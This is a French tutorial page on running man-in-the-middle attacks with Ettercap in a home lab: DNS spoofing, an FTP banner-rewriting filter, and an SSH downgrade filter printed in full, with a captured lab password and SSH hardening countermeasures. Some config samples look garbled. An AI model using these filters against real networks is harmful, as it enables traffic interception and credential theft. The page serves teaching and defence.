ETTERCAP - Le Tutorial Facile - attaques man in the middle

Ettercap Attaques Mitm
Dernière modif: Mar 10 2008

Outil
Installation
Ergonomie
Forum

Détails Ettercap, c'est quoi?
Prérequis & Installation
Usurpation ARP (ARP spoofing)
Attaques par "man in the middle"
Statistiques
Contre-mesures

⚠️⚠️⚠️
Please check our website about
attractions in Western Switzerland !! (Please use english translation).

⚠️⚠️⚠️
Merci de consulter notre site sur les
activités à faire en Suisse romande !!

Après le tutorial consacré à l'usurpation ARP, le cache ARP de la victime a été modifié pour forcer les connexions à partir de la machine Windows à transiter par la machine Ettercap pour atteindre leur destination.

Le diagramme du scénario réseau est disponible à la page d'introduction d'Ettercap.

Le piège étant tendu, nous sommes maintenant prêt à lancer des attaques par "man in the middle", en d'autres termes à modifier ou filtrer les paquets provenant de ou allant vers la victime.

Pour lancer des attaques, vous pouvez soit utiliser un plugin Ettercap, soit charger un filtre créé par vous-même.

1. PLUGINS 2. FILTRES

PLUGINS

Nous allons utiliser le plugin Ettercap appelé dns_spoof pour tester une très fameuse attaque, l'usurpation DNS, plus connue sous sa dénomination anglaise de "DNS spoofing", lors de laquelle le pirate peut répondre à des requêtes DNS à la place du serveur DNS.
Lorsque vous accédez à votre site web favori avec votre navigateur internet, votre machine (qui a dans notre étude de cas l'adresse IP 192.168.1.2) va d'abord demander au serveur DNS l'adresse IP correspondant à votre URL et ensuite le navigateur pourra afficher la page internet.
Avec l'usurpation DNS, quand la requête DNS est envoyée, l'usurpateur répond à la place du serveur DNS et fournit une autre adresse IP.
La conséquence sera que vous aurez le sentiment d'atteindre le site web désiré mais qu'il s'agit en réalité du site web du pirate en raison de l'adresse IP différente.

L'attaque peut être très dangereuse lorsque le pirate usurpe des sites web importants comme par exemple celui de votre banque. Son faux site web aura exactement la même interface que le vrai site web de la banque. En conséquence, le pirate attend tranquillement que vous entriez vos mots de passe pour les capturer.

Procédons donc sans plus tarder à l'attaque par usurpation DNS.
La première chose à faire est de préparer le fichier de configuration appelé etter.dns dans le dossier /usr/share/ettercap/.

#vim /usr/share/ettercap/etter.dns

Dans le fichier vous pouvez trouver des explications sur la façon de le configurer.
Voici le contenu de notre fichier etter.dns:

linux1.org
*.linux.com
www.linux.org A
A
PTR 198.182.196.56
198.182.196.56
198.182.196.56
Cela signifie que lorsque vous ouvrez www.linux1.org dans votre navigateur internet, vous allez voir le contenu du site web de www.linux.org.

Pour démarrer l'usurpation DNS, vous devez activer le plugin dns_spoof dans l'interface graphique d'Ettercap. Rappelez-vous qu'il est nécessaire de suivre le tutorial d'usurpation ARP avant d'effectuer les étapes suivantes.

Plugins -> Manage the plugins

Cliquez sur la ligne contenant dns_spoof pour activer le plugin. Ceci va marquer la ligne avec une étoile.

Entrez ensuite www.linux1.org dans votre navigateur internet.
Vous pouvez voir que le contenu de la page est celui qui correspond à l'adresse IP que vous avez ajouté dans le fichier etter.dns et non à la vraie adresse IP correspondante à www.linux1.org.

openmaniak ettercap

Pour arrêter l'usurpation DNS:

Start -> Stop sniffing

Malgré le fait que nous avons arrêté l'attaque, vous pouvez voir que lors de l'entrée de l'adresse www.linux1.org dans votre navigateur, celui-ci affiche toujours le site web www.linux.org. Ceci est du au cache DNS sur notre machine client 192.168.1.2. Par défaut, Windows garde une entrée DNS pendant 300 secondes ou 5 minutes dans son cache. Donc, soit vous attendez tranquillement 5 minutes, soit vous vider le cache DNS avec la commande suivante:

Lancez une fenêtre de ligne de commande:
Démarrer (Start) -> Exécuter (Run) -> cmd

C:\Documents and Settings\administrator>ipconfig /flushdns

Sur une machine Ubuntu, utilisez la commande suivante: "/etc/init.d/dns-clean start"
Pour voir votre cache DNS:

C:\Documents and Settings\administrator>ipconfig /displaydns

Si vous voulez changer le délai par défaut du cache DNS, vous devez modifier une entrée dans le registre Windows.
Soyez très attentif quand vous jouez avec le registre, une erreur de configuration peut endommager votre système et l'empêcher de redémarrer.

Démarrer (Start) -> Exécuter (Run) -> regedit
Ensuite suivez l'arborescence below:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\

Cliquez sur "NegativeCacheTime" dans le panneau de droite:

Cliquez sur le bouton "Decimal" et entrez finalement votre nouvelle valeur pour le délai du cache DNS.

Haut de la page

FILTRES

Les filtres vous permettent de changer le contenu des paquets.
Pour créer un filtre, un fichier de configuration doit d'abord être compilé avant d'être utilisé comme filtre. Vous pouvez trouver quelques exemples prédéfinis dans le dossier /usr/share/ettercap/.
Nous allons étudier deux exemples basés sur des filtes Ettercap.

1. Changement prompt FTP
2. "Downgrade attack" SSH (Attaque par abaissement de version)

1. Changement prompt FTP:

Dans notre exemple, nous avons choisi de changer l'invit (prompt) de connexion FTP. Ci-dessous, notre fichier de configuration appelé test_filter dans le dossier /usr/share/ettercap.

# remplacement de l'invit de connexion FTP
if (tcp.src == 21 && search(DATA.data, "ProFTPD")) {
   replace("ProFTPD","TeddyBearFTPD);
}

Puis vous devez compiler le fichier à l'aide d'Etterfilter parce qu'Ettercap ne peut charger que des fichiers préalablement compilés.

#etterfilter etter_filter -o etter_filter_compil

Ceci va créer un fichier compilé appelé etter_filter_comp.

Chargez le filtre dans Ettercap:

Filters -> Load a filter...

Il est temps maintenant de tester une connexion FTP avec notre client 192.168.1.2. Des tests sont effectués avant et après le filtrage par Ettercap.
"xyz" est le nom du site web et "1.2.3.4" une adresse IP.

(Bien-sûr, vous devez être positionné en tant que "man in the middle". Si ce n'est pas déjà le cas, suivez le tutorial sur l'usurpation ARP)

C:\Documents and Settings\Administrator>ftp www.xyz.com

Connected to xyz.com.
220 "ProFTPD 1.3.0a Server ("ProFTPD) [1.2.3.4]
User (xyz.com:(none)):

C:\Documents and Settings\Administrator>ftp www.xyz.com

Connected to xyz.com.
220 "TeddyBear FTPD 1.3.0a Server ("TeddyBear FTPD) [1.2.3.4]
User (xyz.com:(none)):

Haut de la page

2. Downgrade attack SSH: (Attaque par abaissement de version)

Une attaque particulièrement sournoise appelée "downgrade attack" ou attaque par abaissement de version peut être utilisée une fois dans la position de l'homme du millieu ("man in the middle"). Le principe est d'abaisser la version d'un protocole en changeant des données à l'intérieur de paquets, pour une autre version connue pour être vulnérable.

---------------- Principe ----------------

SSH est le plus fameux exemple d'une attaque par abaissement de version où l'attaquant force le client et le serveur à utiliser le protocole vulnérable SSH1.

Le client envoie une requête pour établir un lien SSH vers le serveur et lui demande quelle version il supporte.
Les possibilités de réponse du serveur dont les suivantes:
- ssh-2.xx Le serveur supporte seulement SSH2
- ssh-1.99 LE serveur supporte SSH1 et SSH2
- ssh-1.51 Le serveur supporte seulement SSH1

Dans notre exemple, le serveur est configuré pour supporter à la fois SSH1 et SSH2 et le client est configuré également pour utiliser SSH1 et SSH2 mais SSH2 de manière préférée.

Supposons que le serveur est configuré pour SSH1 et SSH2, le hacker va modifier la réponse en changeant le champs "1.99" en "1.51" pour indiquer au client que le serveur ne supporte que SSH1 et ainsi forcer le client à ouvrir un lien SSH1.
Le client qui pense utiliser le protocole sécurisé SSH2, va se connécter avec SSH1 et le mot de passe sera immédiatement capturé par le hacker en raison du faible mécanisme d'authentification SSH1.

putty ssh downgrade attack

---------------- Installation de l'étude de cas ----------------

a. Serveur SSH: OpenSSH sur Linux
b. Client SSH: Putty sur Windows.
c. Machine du Hacker: Ettercap.

a. Installation du serveur:

#apt-get install openssh-server

Par défaut, seulement SSH2 est activé sur le serveur OpenSSH. Pour activer SSH1, vous devez d'abord ouvrir le fichier /etc/ssh/sshd_config et mettre à jour la ligne commençant par "Protocol":

#vim /etc/ssh/sshd_config

Protocol 1,2
Vous avez besoin de créer une paire de clef SSH1 autrement vous verrez l'erreur suivante après le redémarrage du serveur SSH:
Disabling protocol version 1. Could not load host key.

#ssh-keygen -t rsa1 -f /etc/ssh/ssh_host_key -N ""
Add the key path into the sshd_config file:

HostKey /etc/ssh/ssh_host_key
Finalement, redémarrez le serveur:

#/etc/init.d/ssh restart
   * Restarting OpenBSD Secure Shell server sshd

Le serveur SSH est maintenant configuré pour accepter SSH1 et SSH2 et ainsi fournit une réponse "ssh-1.99". Nous pouvons le vérifier avec la commande suivante:

#telnet server_ip_address 22
Trying server_ip_address...
Connected to server_ip_address.
Escape character is '^]'.
SSH-1.99-OpenSSH_4.6p1 Debian-5ubuntu0.1

b. Installation du client:

Téléchargez le client Putty. Putty est un client SSH open source bien connu pour Windows.
Gardez la configuration par default de SSH. SSH1 et SSH2 sont acceptés mais SSH2 préféré.

putty ssh2 version

c. Installation d'Ettercap:

Suivez le tutorial d'installation d'Ettercap pour installer Ettercap et le tutorial d'empoisonnement ARP pour configurer notre machine en homme du milieu ("Man in the Middle"),

Notre laboratoire est maintenant opérationnelle, nous pouvons lancer l'attaque par abaissement de version sur SSH (SSH downgrade attack):

--- Lancement de l'attaque par abaissement de version sur SSH (SSH downgrade attack) ---

Ettercap offre un fichier de configuration prédéfini pour l'attaque par abaissement de version sur SSH. Le fichier est /usr/share/ettercap/etter_filter_ssh.
Nous pouvons vérifier le contenu du fichier mais il n'est pas nécessaire de le modifié.

#cat /usr/share/ettercap/etter.filter.ssh

if (ip.proto == TCP) {
if (tcp.src == 22) {
if ( replace("SSH-1.99", "SSH-1.51") ) {
msg("[SSH Filter] SSH downgraded from version 2 to 1\n");
} else {
if ( search(DATA.data, "SSH-2.00") ) {
msg("[SSH Filter] Server supports only SSH version 2\n");
} else {
if ( search(DATA.data, "SSH-1.51") ) {
msg("[SSH Filter] Server already supports only version 1\n");
}
}
}
}
}

Nous avons juste besoin de compiler le fichier pour créer le filtre

#etterfilter etter_filter_ssh -o etter_filter_ssh_co

Nous sommes maintenant prêts pour lancer le filtre.

Filters -> Load a filter...

Sélectionnez le fichier compilé.

Le filtre est maintenant chargé. Nous sommes prêts à ouvrir un lien SSH depuis le client.

Le client, le hacker et le serveur sont maintenant configurés correctement.
Nous pouvons tester l'ouverture du lien SSH depuis le client Putty.
Ouvrez Putty, sur la gauche, cliquez sur "Session", ensuite entrez l'adresse IP du serveur SSH (192.168.1.68 dans notre exemple) et cochez le bouton radio "SSH". Cliquez sur le bouton "Open" pour se connecter au serveur SSH.

ettercap open ssh link with putty

Il est temps de voir que tout marche correctement en vérifiant que la machine du hacker peut capturer le mot de passe SSH1.

L'attaque marche!

Comme montré, Ettercap a:

1. Abaissé la version SSH:
2. Capturé l'identifiant et mot de passe SSH1: [SSH Filter] SSH downgraded from version 2 to 1
SSH : 192.168.1.68:22 -> USER:guillfab PASS:T0rduT1m
Nous pouvons observer une capture Wireshark à partir du serveur SSH pendant l'établissement du lien SSH. (Cliquez pour élargir)

1. Le serveur (192.168.1.68) envoie une réponse "1.99" au client (192.168.1.132) signifiant qu'il supporte SSH1 et SSH2.
2. Le client établit un lien SSH1 parce que la réponse "1.99" du serveur au client (192.168.1.132) a été changé en "1.51" par le hacker.
3. Paquets encryptés SSH1.

---------------- Contremesures ----------------

Comment éviter une attaque par abaissement de version SSH (SSH downgrade attack) ?

SSH1 ne doit JAMAIS être utilisé sur un serveur SSH et SSH2 forcé sur le client.
Par défaut, seul SSH2 est activé sur le serveur OpenSSH. Cependant il est fréquent de voir activé SSH1 et SSH2 sur les clients comme Putty.

Regardons comment nous pouvons sécuriser le client et le serveur:

Server SSH:
Ouvrez le fichier /etc/ssh/sshd_config et vérifiez que seul le protocole SSH2 est activé.

#vim /etc/ssh/sshd_config

Protocol 2
Si vous faîtes un changement, redémarrez le server avec "#/etc/init.d/ssh restart".
Ensuite, pour être sur que votre serveur supporte vraiment seulement SSH2, lancez la commande suivante:

#telnet server_ip_address 22
Trying server_ip_address...
Connected to server_ip_address.
Escape character is '^]'.
SSH-2.0-OpenSSH_4.6p1 Debian-5ubuntu0.1

La valeur en rouge ne doit pas être inférieur à 2.0.

Client SSH:
Forcez le protocole SSH2 sur le client.
Sur Putty, sur la partie gauche, cliquez sur "Connection" ensuite "SSH". Finalement, cochez le bouton radio "2only".

putty ssh2 version

Comme règle de sécurité générale, essayez toujours de ne jamais utiliser les paramètres par défaut, mais de forcer le niveau de sécurité aussi haut que possible à la fois sur le serveur ET ses clients.

Haut de la page     Menu filtre